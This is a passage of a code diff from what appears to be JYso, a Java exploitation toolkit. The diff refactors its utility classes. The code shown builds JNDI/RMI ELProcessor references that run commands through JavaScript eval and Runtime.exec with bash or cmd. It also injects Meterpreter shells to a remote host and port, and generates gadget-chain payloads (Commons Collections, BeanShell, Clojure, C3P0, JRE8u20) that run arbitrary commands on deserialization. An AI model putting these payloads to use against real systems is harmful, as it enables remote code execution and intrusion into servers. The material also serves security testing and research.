System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
return new String[]{cmd};
|
||||
case shell:
|
||||
String encoded = Utils.getCmdFromBase(base);
|
||||
String decoded = Utils.base64Decode(encoded);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||
return decoded.split(" ");
|
||||
case msf:
|
||||
String[] results = Utils.getIPAndPortFromBase(base);
|
||||
Config.rhost = results[0];
|
||||
Config.rport = results[1];
|
||||
System.out.println(" RemoteHost: " + results[0]);
|
||||
System.out.println(" RemotePort: " + results[1]);
|
||||
return results;
|
||||
default:
|
||||
return new String[0];
|
||||
}
|
||||
}
|
||||
|
||||
private static String segment(String base, int index) {
|
||||
int cursor = 0;
|
||||
int found = 0;
|
||||
while (cursor < base.length()) {
|
||||
int nextSlash = base.indexOf('/', cursor);
|
||||
if (nextSlash == -1) {
|
||||
nextSlash = base.length();
|
||||
}
|
||||
if (nextSlash > cursor) {
|
||||
if (found == index) {
|
||||
return base.substring(cursor, nextSlash);
|
||||
}
|
||||
found++;
|
||||
}
|
||||
cursor = nextSlash + 1;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static String suffixAfterDash(String value) {
|
||||
int dashIndex = value.indexOf('-');
|
||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,35 +1,31 @@
|
||||
package com.qi4l.JYso.controllers.rmi;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.controllers.BaseLdapController;
|
||||
import com.qi4l.JYso.controllers.BaseLdapController.ParseResult;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.JYso.template.Meterpreter;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.util.Locale;
|
||||
|
||||
/**
|
||||
* Build local-loading ResourceRef for RMI lookup path:
|
||||
* ELProcessor/{payload}/{gadget}/{arg}
|
||||
*/
|
||||
import static com.qi4l.JYso.controllers.BaseLdapController.*;
|
||||
|
||||
public class ELProcessor {
|
||||
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
|
||||
private static final String SCRIPT_TEMPLATE = "{\"\"}.getClass().forName(\"javax.script.ScriptEngineManager\")"
|
||||
+ ".newInstance().getEngineByName(\"JavaScript\")"
|
||||
+ ".eval(\"%s\")}";
|
||||
|
||||
private static String payloadType;
|
||||
private static String[] params = new String[0];
|
||||
private static GadgetType gadgetType;
|
||||
|
||||
public static ResourceRef refTomcatBypass(String base) throws Exception {
|
||||
parse(base);
|
||||
ParseResult result = parseBase(base, "- JNDI RMI Local Reference Links + ELProcessor");
|
||||
payloadType = result.payloadType;
|
||||
params = result.params;
|
||||
|
||||
ResourceRef ref = new ResourceRef(
|
||||
"javax.el.ELProcessor",
|
||||
@@ -45,26 +41,6 @@ public class ELProcessor {
|
||||
return ref;
|
||||
}
|
||||
|
||||
private static void parse(String base) {
|
||||
System.out.println("- JNDI RMI Local Reference Links + ELProcessor");
|
||||
try {
|
||||
String normalized = base.replace('\\', '/');
|
||||
payloadType = segment(normalized, 1);
|
||||
if (payloadType.isEmpty()) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||
}
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||
|
||||
gadgetType = parseGadgetType(normalized);
|
||||
params = resolveParams(normalized);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) {
|
||||
throw (UnSupportedPayloadTypeException) e;
|
||||
}
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
|
||||
private static String buildPayloadScript() throws Exception {
|
||||
String scriptBody;
|
||||
if (payloadType.contains("E-")) {
|
||||
@@ -77,7 +53,7 @@ public class ELProcessor {
|
||||
if (params.length == 0) {
|
||||
throw new IncorrectParamsException("Missing command parameters.");
|
||||
}
|
||||
scriptBody = getExecCode(params[0]);
|
||||
scriptBody = BaseLdapController.getExecCode(params[0]);
|
||||
} else if (payloadType.contains("msf")) {
|
||||
scriptBody = InjShell.injectClass(Meterpreter.class);
|
||||
} else {
|
||||
@@ -86,82 +62,4 @@ public class ELProcessor {
|
||||
|
||||
return String.format(SCRIPT_TEMPLATE, scriptBody.replace("\"", "\\\""));
|
||||
}
|
||||
|
||||
private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||
String segment = segment(base, 2);
|
||||
if (segment.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||
} catch (IllegalArgumentException ignored) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||
}
|
||||
}
|
||||
|
||||
private static String[] resolveParams(String base) throws Exception {
|
||||
if (gadgetType == null) {
|
||||
return new String[0];
|
||||
}
|
||||
|
||||
switch (gadgetType) {
|
||||
case base64:
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
return new String[]{cmd};
|
||||
case shell:
|
||||
String encoded = Utils.getCmdFromBase(base);
|
||||
String decoded = Utils.base64Decode(encoded);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||
return decoded.split(" ");
|
||||
case msf:
|
||||
String[] results = Utils.getIPAndPortFromBase(base);
|
||||
Config.rhost = results[0];
|
||||
Config.rport = results[1];
|
||||
System.out.println(" RemoteHost: " + results[0]);
|
||||
System.out.println(" RemotePort: " + results[1]);
|
||||
return results;
|
||||
default:
|
||||
return new String[0];
|
||||
}
|
||||
}
|
||||
|
||||
private static String getExecCode(String cmd) {
|
||||
return "var str_s=new Array(3);\n"
|
||||
+ "if(java.io.File.separator.equals('/')){\n"
|
||||
+ "str_s[0]='/bin/bash';\n"
|
||||
+ "str_s[1]='-c';\n"
|
||||
+ "str_s[2]='" + cmd + "';\n"
|
||||
+ "}else{\n"
|
||||
+ "str_s[0]='cmd';\n"
|
||||
+ "str_s[1]='/C';\n"
|
||||
+ "str_s[2]='" + cmd + "';\n"
|
||||
+ "}\n"
|
||||
+ "java.lang.Runtime.getRuntime().exec(str_s);";
|
||||
}
|
||||
|
||||
private static String segment(String base, int index) {
|
||||
int cursor = 0;
|
||||
int found = 0;
|
||||
while (cursor < base.length()) {
|
||||
int nextSlash = base.indexOf('/', cursor);
|
||||
if (nextSlash == -1) {
|
||||
nextSlash = base.length();
|
||||
}
|
||||
if (nextSlash > cursor) {
|
||||
if (found == index) {
|
||||
return base.substring(cursor, nextSlash);
|
||||
}
|
||||
found++;
|
||||
}
|
||||
cursor = nextSlash + 1;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static String suffixAfterDash(String value) {
|
||||
int dashIndex = value.indexOf('-');
|
||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,7 +5,7 @@ import bsh.XThis;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
@@ -22,7 +22,7 @@ import java.util.PriorityQueue;
|
||||
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
String payload = com.qi4l.JYso.gadgets.utils.Utils.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
i.eval(payload);
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ import bsh.Interpreter;
|
||||
import bsh.NameSpace;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||
|
||||
|
||||
import java.lang.reflect.*;
|
||||
import java.util.Comparator;
|
||||
@@ -20,7 +20,7 @@ import java.util.PriorityQueue;
|
||||
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
String payload = com.qi4l.JYso.gadgets.utils.Utils.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
|
||||
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
|
||||
|
||||
@@ -4,7 +4,6 @@ import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.HexUtils;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
@@ -97,8 +96,8 @@ public class C3P04 implements ObjectPayload<Object> {
|
||||
break;
|
||||
case "c3p0Double":
|
||||
try {
|
||||
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
||||
String hexString = HexUtils.bytesToHexString(data, data.length);
|
||||
byte[] data = com.qi4l.JYso.gadgets.utils.Utils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
||||
String hexString = com.qi4l.JYso.gadgets.utils.Utils.bytesToHexString(data, data.length);
|
||||
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
|
||||
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
|
||||
} catch (IOException e) {
|
||||
|
||||
@@ -7,7 +7,7 @@ import clojure.lang.PersistentArrayMap;
|
||||
import clojure.main$eval_opt;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil;
|
||||
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
@@ -34,7 +34,7 @@ import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
|
||||
public class Clojure implements ObjectPayload<Map<?, ?>> {
|
||||
|
||||
public Map<?, ?> getObject(String command) throws Exception {
|
||||
String clojurePayload = ClojureUtil.makeClojurePayload(command);
|
||||
String clojurePayload = com.qi4l.JYso.gadgets.utils.Utils.makeClojurePayload(command);
|
||||
Map<String, Object> fnMap = new HashMap<>();
|
||||
fnMap.put("hashCode", (new core$constantly()).invoke(0));
|
||||
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
|
||||
|
||||
@@ -88,7 +88,7 @@ public class JRE8u20 implements ObjectPayload<Object> {
|
||||
hashsetData.addData(1.0F, true);
|
||||
hashsetData.addData(2, true);
|
||||
hashsetData.addData(templates);
|
||||
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
|
||||
TCObject proxy = com.qi4l.JYso.gadgets.utils.Utils.makeProxy(new Class[]{Map.class}, handler, ser);
|
||||
hashsetData.addData(proxy);
|
||||
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
|
||||
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.ByteUtil;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||
@@ -64,9 +63,9 @@ public class JRE8u20_2 implements ObjectPayload<Object> {
|
||||
|
||||
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
|
||||
|
||||
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
|
||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
|
||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
|
||||
int i = com.qi4l.JYso.gadgets.utils.Utils.getSubarrayIndex(ser, shoudReplace);
|
||||
ser = com.qi4l.JYso.gadgets.utils.Utils.deleteAt(ser, i); // delete 0x78
|
||||
ser = com.qi4l.JYso.gadgets.utils.Utils.deleteAt(ser, i); // delete 0x70
|
||||
|
||||
return ser;
|
||||
}
|
||||
|
||||
@@ -3,7 +3,6 @@ package com.qi4l.JYso.gadgets;
|
||||
import com.qi4l.JYso.LdapServer;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||
import org.reflections.Reflections;
|
||||
|
||||
import java.lang.reflect.Modifier;
|
||||
@@ -81,7 +80,7 @@ public interface ObjectPayload<T> {
|
||||
public static List<String> getPayloadTableLines() {
|
||||
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
|
||||
new ArrayList<>(getPayloadClasses());
|
||||
payloadClasses.sort(new StringUtil.ToStringComparator());
|
||||
payloadClasses.sort(new com.qi4l.JYso.gadgets.utils.Utils.ToStringComparator());
|
||||
|
||||
final List<String[]> rows = new LinkedList<>();
|
||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||
@@ -89,12 +88,12 @@ public interface ObjectPayload<T> {
|
||||
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
|
||||
rows.add(new String[]{
|
||||
payloadClass.getSimpleName(),
|
||||
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||
com.qi4l.JYso.gadgets.utils.Utils.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
|
||||
com.qi4l.JYso.gadgets.utils.Utils.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
|
||||
});
|
||||
}
|
||||
|
||||
return StringUtil.formatTable(rows);
|
||||
return com.qi4l.JYso.gadgets.utils.Utils.formatTable(rows);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2,7 +2,6 @@ package com.qi4l.JYso.gadgets;
|
||||
|
||||
import cn.hutool.core.comparator.PropertyComparator;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
|
||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||
import com.sun.syndication.feed.impl.ObjectBean;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
@@ -147,7 +146,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
||||
|
||||
// CC 无数组二次反序列化
|
||||
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||
|
||||
Map<?,?> old = new HashMap<>();
|
||||
Transformer invoke = new InvokerTransformer("toString", null, null);
|
||||
@@ -163,7 +162,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
||||
|
||||
// CC4 无 TiedMapEntry 二次反序列化
|
||||
public Object getSignedObjectWithCC4(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||
|
||||
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
|
||||
TransformingComparator comp = new TransformingComparator<>(transformer);
|
||||
@@ -175,7 +174,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
||||
|
||||
// CB 二次反序列化
|
||||
public Object getSignedObjectWithCB(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||
|
||||
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
|
||||
@@ -189,7 +188,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
||||
|
||||
// Hibernate 二次反序列化
|
||||
public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
|
||||
return Hibernate1.makeCaller(obj, getters);
|
||||
}
|
||||
@@ -197,7 +196,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
||||
|
||||
// Rome 二次反序列化
|
||||
public Object getSignedObjectWithRome(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
|
||||
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||
return makeMap(root, root);
|
||||
@@ -206,7 +205,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
||||
|
||||
// Spring-Core 二次反序列化
|
||||
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
|
||||
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
|
||||
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
|
||||
@@ -219,7 +218,7 @@ public class SignedObject implements ObjectPayload<Object> {
|
||||
|
||||
// Rhino 二次反序列化
|
||||
public Object getSignedObjectWithRhino(Object serObj) throws Exception {
|
||||
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
|
||||
Object obj = warpWithSignedObject((Serializable) serObj);
|
||||
ScriptableObject dummyScope = new Environment();
|
||||
Map<Object, Object> associatedValues = new Hashtable<>();
|
||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||
|
||||
@@ -53,6 +53,7 @@ public @interface Authors {
|
||||
String KILLER = "killer";
|
||||
|
||||
String UNAM4 = "Unam4";
|
||||
|
||||
String JIECUB3 = "jiecub3";
|
||||
|
||||
String JSJCW = "jsjcw";
|
||||
|
||||
@@ -4,7 +4,7 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
@@ -50,7 +50,7 @@ public class cc1 implements ObjectPayload<Object> {
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{new ConstantTransformer(1)});
|
||||
// real chain for after setup
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||
|
||||
return get_CC_Sink(transformerChain, transformers);
|
||||
}
|
||||
|
||||
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
@@ -23,7 +23,7 @@ public class cc12 implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{new ConstantTransformer(1)});
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||
final Map innerMap = new HashMap();
|
||||
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
@@ -20,7 +20,7 @@ import java.util.Map;
|
||||
public class cc13 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1));
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, 1);
|
||||
|
||||
@@ -4,7 +4,7 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
@@ -52,7 +52,7 @@ public class cc5 implements ObjectPayload<BadAttributeValueExpException> {
|
||||
final Transformer transformerChain = new ChainedTransformer(
|
||||
new Transformer[]{new ConstantTransformer(1)});
|
||||
// real chain for after setup
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||
final Map innerMap = new HashMap();
|
||||
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L");
|
||||
|
||||
@@ -2,7 +2,7 @@ package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
@@ -37,7 +37,7 @@ import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
|
||||
public class cc6 implements ObjectPayload<Serializable> {
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
@@ -24,7 +24,7 @@ public class cc7 implements ObjectPayload<Hashtable> {
|
||||
|
||||
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
|
||||
|
||||
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
final Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||
|
||||
Map innerMap1 = new HashMap();
|
||||
Map innerMap2 = new HashMap();
|
||||
|
||||
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
@@ -23,7 +23,7 @@ public class cc9 implements ObjectPayload<BadAttributeValueExpException> {
|
||||
public BadAttributeValueExpException getObject(String command) throws Exception {
|
||||
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
|
||||
Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||
Map<Object, Object> innerMap = new HashMap<>();
|
||||
Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer);
|
||||
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
|
||||
|
||||
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
@@ -20,7 +20,7 @@ public class cck3 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
||||
Transformer[] transformers = TransformerUtil.makeTransformer(command);
|
||||
Transformer[] transformers = com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
||||
Map innerMap = new HashMap();
|
||||
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
||||
|
||||
@@ -3,7 +3,7 @@ package com.qi4l.JYso.gadgets;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
|
||||
|
||||
import org.apache.commons.collections4.Transformer;
|
||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||
@@ -20,7 +20,7 @@ public class cck4 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
||||
Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
|
||||
Transformer[] transformers = (Transformer[]) com.qi4l.JYso.gadgets.utils.Utils.makeTransformer(command);
|
||||
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
||||
Map innerMap = new HashMap();
|
||||
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
|
||||
|
||||
@@ -1,35 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets.utils;
|
||||
|
||||
public class ByteUtil {
|
||||
public static int getSubarrayIndex(byte[] haystack, byte[] needle) {
|
||||
outer:
|
||||
for (int i = 0; i <= haystack.length - needle.length; ++i) {
|
||||
